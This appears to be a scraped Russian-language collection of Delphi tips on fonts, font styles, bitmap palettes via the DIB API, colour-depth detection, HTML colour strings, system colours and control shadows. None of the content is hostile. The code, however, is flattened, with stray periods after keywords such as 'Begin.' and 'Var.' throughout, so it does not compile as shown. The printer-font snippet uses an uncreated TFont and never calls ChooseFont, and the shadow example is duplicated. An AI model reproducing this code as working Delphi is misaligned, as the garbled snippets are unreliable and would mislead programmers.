Code: Uses Printers, CommDlg; Procedure TForm1.Button1Click(Sender: TObject); Var cf: TChooseFont; lf: TLogFont; tf: TFont; Begin. If PrintDialog1.Execute then. Begin. Cf.hdc := Printer.Handle; Cf.lpLogFont := @lf; Cf.iPointSize := Form1.Canvas.Font.Size * 10; Cf.Flags := CF_BOTH or CF_INITTOLOGFONTSTRUCT or. CF_EFFECTS or CF_SCALABLEONLY or CF_WYSIWYG; Cf.rgbColors := Form1.Canvas.Font.Color; Tf.COlor := cf.RgbColors; Form1.Canvas.Font.Assign(tf); Tf.Free; Form1.Canvas.TextOut(10, 10, 'Test'); End; End;

Управление настройками шрифта.

Code: { Данный код изменяет стиль шрифта поля редактирования, Если оно выбрано. Может быть адаприрован для управления. Шрифтами в других объектах. Расположите на форме Edit(Edit1) и ListBox(ListBox1). Добавьте следующие элементы (Items) к ListBox: FsBold. FsItalic. FsUnderLine. FsStrikeOut. } Procedure TForm1.ListBox1Click(Sender: TObject); Var. X: Integer; Type. TLookUpRec = record. Name: string; Data: TFontStyle; End; Const. LookUpTable: array[1..4] of TLookUpRec = ((Name: 'fsBold'; Data: fsBold), (Name: 'fsItalic'; Data: fsItalic), (Name: 'fsUnderline'; Data: fsUnderline), (Name: 'fsStrikeOut'; Data: fsStrikeOut)); Begin. X := ListBox1.ItemIndex; Edit1.Text := ListBox1.Items[X]; Edit1.Font.Style := [LookUpTable[ListBox1.ItemIndex + 1].Data]; End;

Хранение стилей шрифта.

Как мне сохранить свойство шрифта Style, ведь он же набор?

Вы можете получать и устанавливать FontStyle через его преобразование к типу byte.

Для примера,

Code: Var. Style: TFontStyles; Begin. { Сохраняем стиль шрифта в байте }. Style := Canvas.Font.Style; {необходимо, поскольку Font.Style - свойство}. ByteValue := Byte ( Style ); { Преобразуем значение byte в TFontStyles }. Canvas.Font.Style := TFontStyles ( ByteValue ); End;

Изменение цветовой палитры изображения.

Мне необходимо изменить цветовую палитру изображения с помощью SetBitmapBits, но у меня, к сожалению, ничего не получается.

Использование SetBitmapBits - не очень хорошая идея, поскольку она имеет дело с HBitmaps, в котором формат пикселя не определен. Несомненно, это более безопасная операция, но никаких гарантий по ее выполнению дать невозможно.

Взамен я предлагаю использовать функции DIB API. Вот некоторый код, позволяющий вам изменять таблицу цветов. Просто напишите метод с такими же параметрами, как у TFiddleProc и и изменяйте ColorTable, передаваемое как параметр. Затем просто вызовите процедуру FiddleBitmap, передающую TBitmap и ваш fiddle-метод, например так:

FiddleBitmap( MyBitmap, Fiddler ) ;

Code: Type. TFiddleProc = procedure(var ColorTable: TColorTable) of object; Const. LogPaletteSize = sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255; Function PaletteFromDIB(BitmapInfo: PBitmapInfo): HPalette; Var. LogPalette: PLogPalette; I: integer; Temp: byte; Begin. With BitmapInfo^, bmiHeader do. Begin. GetMem(LogPalette, LogPaletteSize); Try. With LogPalette^ do. Begin. PalVersion := $300; PalNumEntries := 256; Move(bmiColors, palPalEntry, sizeof(TRGBQuad) * 256); For i := 0 to 255 do. With palPalEntry[i] do. Begin. Temp := peBlue; PeBlue := peRed; PeRed := Temp; PeFlags := PC_NOCOLLAPSE; End; { создаем палитру }. Result := CreatePalette(LogPalette^); End; Finally. FreeMem(LogPalette, LogPaletteSize); End; End; End; { Следующая процедура на основе изображения создает DIB, Изменяет ее таблицу цветов, создавая тем самым новую палитру, После чего передает ее обратно изображению. При этом. Используется метод косвенного вызова, с помощью которого. Изменяется палитра цветов - ей передается array[ 0..255 ] of TRGBQuad. }. Procedure FiddleBitmap(Bitmap: TBitmap; FiddleProc: TFiddleProc); Const. BitmapInfoSize = sizeof(TBitmapInfo) + sizeof(TRGBQuad) * 255; Var. BitmapInfo: PBitmapInfo; Pixels: pointer; InfoSize: integer; ADC: HDC; OldPalette: HPalette; Begin. { получаем DIB }. GetMem(BitmapInfo, BitmapInfoSize); Try. { меняем таблицу цветов - ПРИМЕЧАНИЕ: она использует 256 цветов DIB }. FillChar(BitmapInfo^, BitmapInfoSize, 0); With BitmapInfo^.bmiHeader do. Begin. BiSize := sizeof(TBitmapInfoHeader); BiWidth := Bitmap.Width; BiHeight := Bitmap.Height; BiPlanes := 1; BiBitCount := 8; BiCompression := BI_RGB; BiClrUsed := 256; BiClrImportant := 256; GetDIBSizes(Bitmap.Handle, InfoSize, biSizeImage); { распределяем место для пикселей }. Pixels := GlobalAllocPtr(GMEM_MOVEABLE, biSizeImage); Try. { получаем пиксели DIB }. ADC := GetDC(0); Try. OldPalette := SelectPalette(ADC, Bitmap.Palette, false); Try. RealizePalette(ADC); GetDIBits(ADC, Bitmap.Handle, 0, biHeight, Pixels, BitmapInfo^, DIB_RGB_COLORS); Finally. SelectPalette(ADC, OldPalette, true); End; Finally. ReleaseDC(0, ADC); End; { теперь изменяем таблицу цветов }. FiddleProc(PColorTable(@BitmapInfo^.bmiColors)^); { создаем палитру на основе новой таблицы цветов }. Bitmap.Palette := PaletteFromDIB(BitmapInfo); OldPalette := SelectPalette(Bitmap.Canvas.Handle, Bitmap.Palette, False); Try. RealizePalette(Bitmap.Canvas.Handle); StretchDIBits(Bitmap.Canvas.Handle, 0, 0, biWidth, biHeight, 0, 0, BiWidth, biHeight, Pixels, BitmapInfo^, DIB_RGB_COLORS, SRCCOPY); Finally. SelectPalette(Bitmap.Canvas.Handle, OldPalette, true); End; Finally. GlobalFreePtr(Pixels); End; End; Finally. FreeMem(BitmapInfo, BitmapInfoSize); End; End; { Пример "fiddle"-метода }. Procedure TForm1.Fiddler(var ColorTable: TColorTable); Var. I: integer; Begin. For i := 0 to 255 do. With ColorTable[i] do. Begin. RgbRed := rgbRed * 9 div 10; RgbGreen := rgbGreen * 9 div 10; RgbBlue := rgbBlue * 9 div 10; End; End;

Как можно узнать количество цветов текущего режима.

GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *

GetDeviceCaps(Form1.Canvas.Handle, PLANES).

Для получения общего количества битов, используемых для получения цвета используются следующие значения.

1 = 2 colors bpp.

4 = 16 colors bpp.

8 = 256 colors bpp.

15 = 32768 colors (возвращает 16 на большинстве драйверов) bpp.

16 = 65535 colors bpp.

24 = 16,777,216 colors bpp.

32 = 16,777,216 colors (то же, что и 24) bpp.

Вы можете использовать:

NumberOfColors := (1 shl.

(GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *

GetDeviceCaps(Form1.Canvas.Handle, PLANES));

Для подсчета общего количества используемых цветов.

©Drkb::03702.

Взято с http://delphiworld.narod.ru.

Как получить цвет строки в HTML формате.

Если Вам необходимо создать HTML-файл, то необходимо объявить тэг для цвета шрифта либо цвета фона. Однако просто вставить значение TColor не получится - необходимо преобразовать цвет в формат RGB. В своём наборе SMExport я использую следующую функцию:

Code: Function GetHTMLColor(cl: TColor; IsBackColor: Boolean): string; Var. RgbColor: TColorRef; Begin. If IsBackColor then. Result := 'bg' Else. Result := ''; RgbColor := ColorToRGB(cl); Result := Result + 'color="#' + Format('%.2x%.2x%.2x', [GetRValue(rgbColor), GetGValue(rgbColor), GetBValue(rgbColor)]) + '"'; End;

Получить и установить системные цвета.

Code: Var. OldColor: TColor; Element: TColor = COLOR_BTNFACE; {....} { Set the color for a system element. SetSysColors function. Changes the current Windows session only. The new colors are not saved when Windows terminates. For a list of color elements see Win32 API Help - Function GetSysColor. Open the ColorDialog - and set the new color systemwide. } Procedure TForm1.Button1Click(Sender: TObject); Begin. If ColorDialog1.Execute then. Begin. SetSysColors(1, Element, ColorDialog1.Color); End; End; { Save the old color value of the element COLOR_BTNFACE to restore on Button2 click. } Procedure TForm1.FormShow(Sender: TObject); Begin. OldColor := GetSysColor(COLOR_BTNFACE); End; { Restore the old color value. Stellt den alten Farbwert wieder her. } Procedure TForm1.Button2Click(Sender: TObject); Begin. SetSysColors(1, Element, OldColor); End;

Функция для работы с палитрами и RGB.

У меня трудности с пониманием операций, производимых в Delphi над палитрой. По существу, я имею 4 открытых формы, которые должны использовать цвета, которые не входят в стандрартный набор из 20 именованных цветов. Ячейки таблицы также должны использовать мои нестандартные цвета. Есть какой-либо способ обновления системной палитры для того, чтобы все формы использовали один и тот же цвет?

При работе с палитрами рекомендуется пользоваться функцией RGB. Если вы используете ее для изменения свойства "Color", Windows довольно хорошо справляется с задачай подбора цветов для низкого разрешения, а в системах с высоким разрешением вы получите точный цвет RGB. Это могло бы послужить выходом из создавшейся у вас ситуации. Вот пример формы, которая "линяет" от красного до синего:

Code: Procedure TForm1.FormClick(Sender: TObject); Var. Blue: Byte; Begin. For blue := 0 to 255 do. Begin. Color := RGB(255-blue,0,blue); Update; End; End;

Затенить компонент.

Code: Procedure ShadeIt(f: TForm; c: TControl; Width: Integer; Color: TColor); Var. Rect: TRect; Old: TColor; Begin. If (c.Visible) then. Begin. Rect := c.BoundsRect; Rect.Left := rect.Left + Width; Rect.Top := rect.Top + Width; Rect.Right := rect.Right + Width; Rect.Bottom := rect.Bottom + Width; Old := f.Canvas.Brush.Color; F.Canvas.Brush.Color := Color; F.Canvas.fillrect(rect); F.Canvas.Brush.Color := old; End; End; Procedure TForm1.FormPaint(Sender: TObject); Var. I: Integer; Begin. For i := 0 to Self.ControlCount - 1 do. ShadeIt(Self, Self.Controls[i], 3, clBlack); End;

Как сделать, чтобы компоненты отбрасывали тень?

Code: Procedure ShadeIt(f: TForm; c: TControl; Width: Integer; Color: TColor); Var. Rect: TRect; Old: TColor; Begin. If (c.Visible) then. Begin. Rect := c.BoundsRect; Rect.Left := rect.Left + Width; Rect.Top := rect.Top + Width; Rect.Right := rect.Right + Width; Rect.Bottom := rect.Bottom + Width; Old := f.Canvas.Brush.Color; F.Canvas.Brush.Color := Color; F.Canvas.fillrect(rect); F.Canvas.Brush.Color := old; End; End; Procedure TForm1.FormPaint(Sender: TObject); Var. I: Integer; Begin. For i := 0 to Self.ControlCount - 1 do. ShadeIt(Self, Self.Controls[i], 3, clBlack); End;